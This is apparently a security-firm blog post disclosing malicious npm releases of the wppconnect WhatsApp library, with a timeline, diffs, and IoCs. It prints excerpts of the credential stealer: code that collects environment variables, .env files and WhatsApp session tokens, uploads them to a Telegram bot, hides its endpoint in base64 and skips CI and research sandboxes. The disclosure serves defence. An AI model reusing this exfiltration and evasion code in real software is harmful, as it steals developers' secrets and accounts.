---
title: "Malicious wppconnect Release Steals Secrets and WhatsApp Sessions"
description: "Version 2.4.1 of @wppconnect-team/wppconnect and version 2.10.82 of @wppconnect/server shipped a credential stealer that runs on import or server start. It sends environment variables, .env files and WhatsApp session tokens to a Telegram bot. The repository history was then rewritten to hide the code."
url: "https://safedep.io/blog/wppconnect-npm-whatsapp-session-stealer"
author: "Kunal Singh"
published: "2026-11-16"
---

# Malicious wppconnect Release Steals Secrets and WhatsApp Sessions

Two npm releases of wppconnect, a popular WhatsApp automation library, steal secrets from any machine that runs them. Importing the library or starting the server is enough. The code grabs environment variables, `.env` and config files, and WhatsApp session tokens, then uploads them to a Telegram bot. With those session tokens the attacker can take over your WhatsApp account without scanning a QR code.

Both releases went out through the project's own GitHub Actions trusted-publishing workflow. Someone then rewrote the git history, so the `v2.4.1` tag on GitHub looks clean. npm now marks both versions as deprecated, and `latest` points back to the clean releases.

## Affected packages

| Package | Bad version | Last clean version | Weekly downloads (Nov 9–15) |
| --- | --- | --- | --- |
| `@wppconnect-team/wppconnect` | **2.4.1** | 2.4.0 | 7,498 |
| `@wppconnect/server` | **2.10.82** | 2.10.81 | 1,527 |

npm counted **155 downloads of 2.4.1** in its last 7-day window. Version 2.10.82 came out after that window closed, so it has no figure yet.

## Timeline

- **15 Nov, 22:34** Payload committed. Unsigned commits [`06caa8c`](https://github.com/wppconnect-team/wppconnect/commit/06caa8c6f5f06e47900d5466289b4aab2753add3) and [`27ed8e3`](https://github.com/wppconnect-team/wppconnect/commit/27ed8e343f0393978c63f84888eeb9b8fa197852) add the payload and its import.
- **15 Nov, 22:35** Release commit created. github-actions[bot] creates release commit [`dee571e`](https://github.com/wppconnect-team/wppconnect/commit/dee571e55aef07e648d675055a45fcef13f9e586).
- **15 Nov, 23:31** wppconnect 2.4.1 published (Malicious). Published to npm through trusted publishing.
- **16 Nov, 02:43** Payload added to the server. Server commit [`bdddf54`](https://github.com/wppconnect-team/wppconnect-server/commit/bdddf54ca86019c853ba68c2eeca45c2ac8128d6) loads the payload on server start.
- **16 Nov, 03:09** @wppconnect/server 2.10.82 published (Malicious). Published to npm through trusted publishing.
- **16 Nov, ~08:00** Both versions deprecated (Deprecated). `latest` moves back to 2.4.0 and 2.10.81.

## How the payload runs

Neither package has install scripts. Each release adds one `require` that loads the payload. In the library, `dist/index.js` loads `controllers/browser.js`, so the payload runs on any `require()` or `import`.

```diff title="dist/controllers/browser.js (2.4.0 → 2.4.1)"
 const logger_1 = require("../utils/logger");
+require("../utils/diagnostics");
 const treeKill = require('tree-kill');
```

The server loads it when it starts.

```diff title="dist/server.js (2.10.81 → 2.10.82)"
 var _index = require("./index");
+require("./util/diagnostics"); /*
```

## What it steals

The payload calls itself an "environment diagnostics" module. It is a single function wrapped in `try/catch`, so it never shows an error. The Telegram endpoint sits in plain sight, split into three strings. The bot token is redacted below.

```js title="dist/utils/diagnostics.js @ 2.4.1 (lines 51-60)"
const SUPPORT = {
    url: [
        'https://api.telegram.org/bot',
        '9034051102:[REDACTED]',
        '/sendDocument',
    ].join(''),
    chat: 7343578055,
    cooldown: 24 * 3600 * 1000,
    maxFile: 12000,
};
```

It runs at most once a day per machine, tracked in `<tmpdir>/.wpp-support-diag`. Each run, it:

1. Records hostname, username, OS, Node version, working directory and memory.
2. Copies every environment variable with a 3 to 499 character value, skipping a short list like `PATH`, `HOME` and `npm_*`. That covers API keys, database URLs and cloud credentials.
3. Reads the first 12,000 bytes of `.env`, `.env.local`, `.env.production`, `config.js`, `config.json` and `ormconfig.json` from the working directory.
4. Lists the project's dependencies, scripts and first 60 files.
5. Reads up to 5 WhatsApp session files from `./tokens/`, where wppconnect stores them by default.

```js title="dist/utils/diagnostics.js @ 2.4.1 (lines 168-172)"
const tdir = path.join(process.cwd(), 'tokens');
const files = fs
    .readdirSync(tdir)
    .filter((x) => x.indexOf('.json') > 0)
    .slice(0, 5);
```

Last, it looks up the public IP, adds it to the report and uploads the report to Telegram as a text file named `<hostname>_<YYYYMMDD-HHMMSS>.txt`.

```js title="dist/utils/diagnostics.js @ 2.4.1 (lines 196-211)"
form.append('chat_id', String(SUPPORT.chat));
form.append('caption', caption);
form.append('document', new Blob([text], { type: 'text/plain' }), name);
return fetch(SUPPORT.url, { method: 'POST', body: form }).catch(() => null);
}
fetch('https://api.ipify.org?format=json')
    .then((r) => r.json())
    .then((j) => j.ip)
    .catch(() => null)
    .then((ip) => {
    let text = collect();
    if (ip) {
        text = text.replace('=== WPP SUPPORT DIAG', '=== WPP SUPPORT DIAG | ip: ' + ip + ' ');
    }
    return upload(text, ip);
})
```

## The server version hides better

`@wppconnect/server@2.10.82` steals the same data the same way, but works harder to avoid being seen. The rest of the release is normal feature work, which helps the payload blend in.

It base64-encodes the Telegram endpoint and adds a random delay. The second string is the bot token, redacted here.

```js title="dist/util/diagnostics.js @ 2.10.82 (lines 27-33)"
const SUPPORT = { url: ['aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==', '[REDACTED]', 'L3NlbmREb2N1bWVudA=='].map((s) => Buffer.from(s, 'base64').toString('utf8')).join(''),
  chat: 7343578055,
  cooldown: 24 * 3600 * 1000,
  maxFile: 12000,
  delayMin: 30000, // 30s minimum delay
  delayMax: 240000 // 4min maximum delay
};
```

It skips CI runners, research sandboxes and machines behind a MITM proxy.

```js title="dist/util/diagnostics.js @ 2.10.82 (lines 36-53)"
function isTestEnvironment() {
  const env = process.env;
  // CI/sandbox markers
  if (env.CI === 'true' || env.GITHUB_ACTIONS === 'true') return true;
  if (env.RUNNER_OS || env.RUNNER_NAME) return true;
  // Security research sandboxes
  if (env.SANDBOX_MAIN || env.RTRACE || env.PURRCHAIN_RUN_MAC) return true;
  if (env.PURRCHAIN_PHASE_BASE || env.PURRCHAIN_RUN_MAC) return true;
  // MITM proxy (security researchers intercept traffic)
  const proxy = env.https_proxy || env.HTTPS_PROXY || env.http_proxy || env.HTTP_PROXY;
  if (proxy && String(proxy).indexOf('mitm') >= 0) return true;
  // Container/sandbox hostnames
  const host = os.hostname();
  if (/^vpzv-|^sandbox|^test-|^runner-/i.test(host)) return true;
  if (env.COMPUTERNAME && /^VPZV|^SANDBOX|^TEST/i.test(String(env.COMPUTERNAME))) return true;
  // Generic sandbox markers
  if (env.SANDBOX || env.IS_SANDBOX || env.TEST_ENV) return true;
  return false;
}
```

| Behavior | Library 2.4.1 | Server 2.10.82 |
| --- | --- | --- |
| Runs on | module import | server start |
| Telegram endpoint | plaintext strings | base64 strings |
| Bot ID / chat ID | `9034051102` / `7343578055` | `9034051102` / `7343578055` |
| Evasion | none | CI, sandbox, MITM proxy and hostname checks |
| Delay | none | random 30–240 s |
| Marker file | `.wpp-support-diag` | `.wpp-diag` |
| Session folders | `tokens/` (5 files) | `tokens/` (5), `wppconnect_tokens/` (3) |
| Report header | `=== WPP SUPPORT DIAG` | `=== WPP ENV` |

The two copies use slightly different bot tokens with the same bot ID and chat ID. The server file's inline source map still holds the library's token. Neither token was tested against Telegram.

## The git history was rewritten

npm records the commit each release came from. For library 2.4.1 that is `dee571e`, built on two unsigned payload commits.

```text title="Published history (npm gitHead)"
dee571e  chore(release): v2.4.1                                          (github-actions[bot], 2026-11-15T22:35:42Z)
27ed8e3  feat: load environment diagnostics on browser module init       (2026-11-15T22:34:40Z, unsigned)
06caa8c  feat: add environment diagnostics utility for support reports   (2026-11-15T22:34:39Z, unsigned)
93c1e30  build(deps-dev): update dependency @babel/preset-env to ^7.29.14
```

No branch or tag in the repository contains those three commits. The `v2.4.1` tag and `master` point to a look-alike history with the same messages and timestamps.

```text title="Tagged history (v2.4.1, master)"
63956bf  chore(release): v2.4.1                                          (same timestamp as dee571e)
43ef1dc  feat: load environment diagnostics on browser module init       (same author/timestamp/message as 27ed8e3)
93c1e30  build(deps-dev): update dependency @babel/preset-env to ^7.29.14
```

The only difference between the two trees is the payload.

```console
$ git diff --stat 63956bf dee571e
 src/controllers/browser.ts |   1 +
 src/utils/diagnostics.ts   | 208 +++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 209 insertions(+)
```

Anyone reviewing the `v2.4.1` source on GitHub would not find the stealer that ships in the npm tarball. The `CHANGELOG.md` at that tag still links to `06caa8c` and `27ed8e3`.

## Indicators of compromise

The attacker's Telegram bot tokens are redacted. The bot ID and chat ID stay in the table.

[IoC: wppconnect malicious releases](https://safedep.io/data/blogs/wppconnect-npm-compromise-iocs.csv)
